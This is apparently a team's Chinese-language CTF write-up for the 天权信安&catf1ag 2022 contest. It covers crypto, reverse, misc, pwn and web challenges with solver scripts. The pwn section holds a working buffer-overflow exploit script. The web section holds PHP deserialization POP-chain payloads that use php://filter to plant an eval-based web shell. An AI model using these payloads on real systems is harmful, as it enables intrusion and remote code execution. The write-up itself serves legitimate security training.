天权信安&catf1ag 2022 wp

天权信安&catf1ag

一、解题情况

排名:17

二、解题过程

Crypto

  • 题目一: 疑惑

    keys1和keys2异或, exp.py:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    keys1 = b"welcome_to_nine-ak_match_is_so_easy_!@!"
    keys2 = "20 4 24 5 94 12 2 36 26 6 49 11 68 15 14 114 12 10 43 14 9 43 10 27 31 31 22 45 10 48 58 4 18 10 38 31 14 97 92"

    keys2 = keys2.split(" ")
    keys2 = [int(i) for i in keys2]
    keys2 = bytes(keys2)

    flag = [keys1[i] ^ keys2[i] for i in range(len(keys1))]
    print(bytes(flag))

    flag值:catf1ag{nine-ak_match_is@very_easy_@/!}

  • 题目二:easyrsa

    已知d,可以直接求了。exp.py:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    from Crypto.Util.number import *
    from gmpy2 import *

    d = 12344766091434434733173074189627377553017680360356962089159282442350343171988536143126785315325155784049041041740294461592715296364871912847202681353107182427067350160760722505537695351060872358780516757652343767211907987297081728669843916949983336698385141593880433674937737932158161117039734886760063825649623992179585362400642056715249145349214196969590250787495038347519927017407204272334005860911299915001920451629055970214564924913446260348649062607855669069184216149660211811217616624622378241195643396616228441026080441013816066477785035557421235574948446455413760957154157952685181318232685147981777529010093
    c = 11665709552346194520404644475693304343544277312139717618599619856028953672850971126750357095315011211770308088484683204061365343120233905810281045824420833988717463919084545209896116273241788366262798828075566212041893949256528106615605492953529332060374278942243879658004499423676775019309335825331748319484916607746676069594715000075912334306124627379144493327297854542488373589404460931325101587726363963663368593838684601095345900109519178235587636259017532403848656471367893974805399463278536349688131608183835495334912159111202418065161491440462011639125641718883550113983387585871212805400726591849356527011578
    n = 13717871972706962868710917190864395318380380788726354755874864666298971471295805029284299459288616488109296891203921497014120460143184810218680538647923519587681857800257311678203773339140281665350877914208278709865995451845445601706352659259559793431372688075659019308448963678380545045143583181131530985665822655263963917413080872997526445384954610888776917323156325542921415838122754036103689148810677276471252057077595104724365967333418002158480223657363936976281758713027828747277980907153645847605403914070601944617432177385048803228970693240587900504431163155958465431312258451026447435473865563581029300541109

    flag = long_to_bytes(pow(c,d,n))
    print(flag)

    flag值:flag{3895dfda-67b1-11ed-b784-b07b2568d266}

  • 题目三: passwd

    根据题目已知一段年月日时分加密后的sha256。我们用年月日时分爆破就行。exp.py:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    import hashlib
    import itertools

    cipher = '69d00d9bc39e01687abf84e98e27c889cf1442b53edba27d3235acbeb7b0ae95'

    year = ['2022', '2023']
    month = [('0' + str(i))[-2:] for i in range(1, 13)]
    day = [('0' + str(i))[-2:] for i in range(1, 32)]

    minute = [('0' + str(i))[-2:] for i in range(1, 61)]
    hours = [('0' + str(i))[-2:] for i in range(1, 25)]

    for i in itertools.product(year, month, day, hours, minute):
    time = i[0] + i[1] + i[2] + i[3] + i[4]
    data_sha = hashlib.sha256(time.encode()).hexdigest()
    if data_sha == cipher:
    print(time)
    break

    flag值:catf1ag{202211121750}

Reverse

  • 题目四:checkin

    先脱壳,先用upxfix修改head,然后再用upx就可以脱了。打开以后找到string。

1670586754937
1670586754937

找到关键函数位置:

1670586788885
1670586788885

进去先去除花指令,得到关键函数:1670587009221

1670586995242
1670586995242

这里v15只在最后用到了,v15=v12,但是v12后面还要加上v13的"#<#"字符。于是可以直接复现:

exp.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#include<stdio.h>
#include<stdint.h>
#include<string.h>

int main()
{ char v12[42];
char v15[1009];
char v16[2432];
int v10;
v10 = 0;

strcpy(v16, "flechao10");

v12[0] = -125;
v12[1] = 27;
v12[2] = -14;
v12[3] = 75;
v12[4] = -81;
v12[5] = 1;
v12[6] = 5;
v12[7] = 35;
v12[8] = 57;
v12[9] = 93;
v12[10] = -94;
v12[11] = -101;
v12[12] = -110;
v12[13] = -15;
v12[14] = -99;
v12[15] = -35;
v12[16] = -35;
v12[17] = -103;
v12[18] = -68;
v12[19] = 119;
v12[20] = -53;
v12[21] = 25;
v12[22] = 114;
v12[23] = -27;
v12[24] = 100;
v12[25] = 47;
v12[26] = -42;
v12[27] = 62;
v12[28] = 15;
v12[29] = 18;
v12[30] = 5;
v12[31] = 108;
v12[32] = -112;
v12[33] = 48;
v12[34] = -73;
v12[35] = 2;
v12[36] = -58;
v12[37] = -48;
v12[38] = -24;
v12[39] = 35;
v12[40] = 60;
v12[41] = 35;
int j;
for ( j = 0; j < 256; ++j )
{
*(uint32_t *)&v16[4 * j + 1228] = v16[j % 9];
*(uint32_t *)&v16[4 * j + 20] = j;
}
int v8;
int k;
for ( k = 0; k < 256; ++k )
{
v10 = (*(uint32_t *)&v16[4 * k + 1228] + *(uint32_t *)&v16[4 * k + 20] + v10) % 256;
v8 = *(uint32_t *)&v16[4 * k + 20];
*(uint32_t *)&v16[4 * k + 20] = *(uint32_t *)&v16[4 * v10 + 20];
*(uint32_t *)&v16[4 * v10 + 20] = v8 ^ 0x37;
}
int v5;
v5 =0;
int v11;
v11 = 0;
int m;
int v9;
for ( m = 0; m < 42; ++m)
{
v5 = (v5 + 1) % 256;
v11 = (*(uint32_t *)&v16[4 * v5 + 20] + v11) % 256;
v9 = *(uint32_t *)&v16[4 * v5 + 20];
*(uint32_t *)&v16[4 * v5 + 20] = *(uint32_t *)&v16[4 * v11 + 20];
*(uint32_t *)&v16[4 * v11 + 20] = v9;
v12[m] ^= v16[4 * ((*(uint32_t *)&v16[4 * v11 + 20] + *(uint32_t *)&v16[4 * v5 + 20]) % 256) + 20];
}
printf("%s", v12);
return 0;
}

flag值:flag{c8d4d879-7a03-405f-8b12-9085a944adad}

pwn

  • 题目五:checkin

    绕过if的方法,输入负号前面加个空格,输入' -123456':

    1670587518428
    1670587518428

    给的flag读取在in1t():

    1670587600028
    1670587600028

exp.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#import os
context(os='linux', arch='amd64', log_level='debug')

code = ELF('./checkin', checksec=False)

def exploit(r):
print(r.recvuntil(b'name: \n'))
r.sendline(b'a')
print(r.recvline())
r.send(b' -123456')
payload = b'a' * 0x50 + b'b' * 8 + p64(0x4008C3)
r.sendline(payload)
r.interactive()

if __name__ == '__main__':
if len(sys.argv) > 2:
r = remote(sys.argv[1], int(sys.argv[2]))
else:
#r = remote('127.0.0.1', 4444)
r = code.process()
exploit(r)

​ 结果:

1670587677208
1670587677208

misc

  • 题目六:十位马

    把data变成十六进制,再逆序打印出来。代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    with open('data', 'r') as ropen:
    data = ropen.read()

    print(data)
    data = bytes.fromhex(data)
    print(data)
    data = data[::-1]

    with open('data_r', 'wb') as writen:
    writen.write(data)
    1670587960750
    1670587960750

    不全红线部分zip的头。就可以解压了,得到很多png。1670588020946

    然后kali用montage得到拼接好的图片

    1
    montage *.png -tile 10x10 -geometry +0+0 montage.png
    1670588156922
    1670588156922

    是一个二维码图片,将二维码定位符拼接上去。

    1670588206214
    1670588206214

    扫码得到: flag{cbef4c93-5e9c-11ed-8205-666c80085daf}

  • 题目七:简单隐写

    1. 将得到的图片分解,得到一张图和一个rar文件压缩包

    2. 对图片jphide隐写,得到压缩包密码

      1670588398779
      1670588398779
    3. 解压得到字符串:

      1670588407043
      1670588407043
    4. 对字符串进行rot操作,得到flag

      1670588491251
      1670588491251

web

因为没看到公告,所以web是凭借记忆的写的。

  • 题目八:history

    1.根据grafana漏洞尝试读取文件,得到grafana用户目录

    图片1
    图片1

    2.根据题目名称《history》和提示“hacker入侵服务器之后没有做好痕迹清理,你能找到hacker的痕迹吗”,查看history文件

    图片2
    图片2

    3.从历史命令记录中得知flag写在了f1ag文件里,读取,得到flag

    图片3
    图片3
  • 题目九:POP

    1.根据源码写payload

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    <?php 
    class catf1ag1{
    public $hzy;
    public $arr;

    function show(){
    show_source(__FILE__);
    }

    function __wakeup(){
    foreach($this->arr as $k => $v){
    echo $this->hzy->$v;
    echo "</br>hzy是社么鬼???";
    }

    }
    }

    class catf1ag2{
    public $file;
    public $txt = '';
    // public function set_file($f){
    // $this->file=$f;
    // }
    // public function set_txt($t){
    // $this->txt=$t;
    // }
    function __get($key){
    if($key == 'pputut'){
    return $this->pputut();
    }else{
    return '<p>'.htmlspecialchars($key).'</p>';
    }
    }

    function pputut(){
    if( strpos($this->file,'../') !== false ||
    strpos($this->file,'\\') !== false
    ) die();

    $content = '<?php die(\'stupid\'); ?>';
    echo "NICE!!!,来自wsy赠送的小红花</br>";
    $content .= $this->txt;
    file_put_contents($this->file, $content);
    return htmlspecialchars($content);

    }

    }

    if(!empty($_POST)){
    $hzy = base64_decode($_POST['giao']);
    $instance = unserialize($hzy);
    }else{
    $a = new catf1ag1();
    $a->show();
    }

    // $content长度正好,不用补,内容为
    /*<?php eval($_POST['cmd']);?>*/
    $text='PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==';
    $b=new catf1ag2();
    $b->file="php://filter/convert.base64-decode/resource=xxxx.php";
    $b->txt=$text;
    $a = new catf1ag1();
    $a->hzy=$b;
    $a->arr=array('1'=>'pputut');

    echo base64_encode(serialize($a));

    2.运行上述代码得到结果,post giao参数为:

    Tzo4OiJjYXRmMWFnMSI6Mjp7czozOiJoenkiO086ODoiY2F0ZjFhZzIiOjI6e3M6NDoiZmlsZSI7czo1MjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT14eHh4LnBocCI7czozOiJ0eHQiO3M6NDA6IlBEOXdhSEFnWlhaaGJDZ2tYMUJQVTFSYkoyTnRaQ2RkS1RzL1BnPT0iO31zOjM6ImFyciI7YToxOntpOjE7czo2OiJwcHV0dXQiO319

    即用php://filter绕过这个“死亡die”,传入小马

    3.连接小马根目录读取flag(没环境无法复现)

  • 题目十:ezlogin

    1.扫描网站得到robots.txt,访问发现imdex.php

    2.访问imdex.php,查看源码存在向way传入source.php的提示

    3.试着解码way原来的带的参数为:base64decode两次后ascii解码-->imdex.php

    4.用3反向操作得到source.php编码后结果:TnpNMlpqYzFOekkyTXpZMU1tVTNNRFk0TnpBPQ==,传入way,得到source源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
     <?php
    error_reporting(0);
    highlight_file(__FILE__);

    class A{
    public $hello;
    public function __construct(){
    $this->hello = new C;
    }
    public function __toString(){
    if (isset($this->hello)){
    return $this->hello->world();
    }else{
    return "Are you ok? Small dog";
    }
    }
    }
    class B{
    public $file;
    public $text;
    public function __construct($file='',$text='') {
    $this -> file = $file;
    $this -> text = $text;

    }
    public function world(){
    $d = '<?php die("886");?>';
    $a= $d. $this->text;
    file_put_contents($this-> file,$a);
    }
    }
    class C{
    public function world(){
    return "Hello,world!";
    }
    }

    $cmd=$_GET['cmd'];
    if(isset($cmd)){
    echo $IO = unserialize($cmd);
    }
    else{
    echo "where is your chain?";
    }
    ?>

    5.与上一题POP类似,构造payload

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
     <?php
    error_reporting(0);
    highlight_file(__FILE__);

    class A{
    public $hello;
    public function __construct(){
    $this->hello = new C;
    }
    public function set_hello($h){
    $this->hello = $h;
    }
    public function __toString(){
    if (isset($this->hello)){
    return $this->hello->world();
    }else{
    return "Are you ok? Small dog";
    }
    }
    }
    class B{
    public $file;
    public $text;
    public function __construct($file='',$text='') {
    $this -> file = $file;
    $this -> text = $text;

    }
    public function world(){
    $d = '<?php die("886");?>';
    $a= $d. $this->text;
    file_put_contents($this-> file,$a);
    }
    }
    class C{
    public function world(){
    return "Hello,world!";
    }
    }

    $cmd=$_GET['cmd'];
    if(isset($cmd)){
    echo $IO = unserialize($cmd);
    }
    else{
    echo "where is your chain?";
    }

    // 加aaa补齐$test
    //小马cmd连
    $text='aaaPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==';
    $final=$test.$text;
    // file_put_contents("test.php",$final);
    file_put_contents($_GET['filename'],$final);
    $b = new B($_GET["filename"],$text);
    $a = new A();
    $a->set_hello($b);
    echo serialize($a);
    ?>

    6.访问http://127.0.0.1/tqxa/source1.php?filename=php://filter/convert.base64-decode/resource=xxxx.php 页面传入filename得到:

    1
    2
    O:1:"A":1:{s:5:"hello";O:1:"B":2:{s:4:"file";s:52:"php://filter/convert.base64-decode/resource=xxxx.php";s:4:"text";s:43:"aaaPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==";}}

    其实可以不传参,直接写php://filter

    7.将上述序列化字符串传入网页,写入xxxx.php,小马连接,在根目录得到flag(没环境无法复现)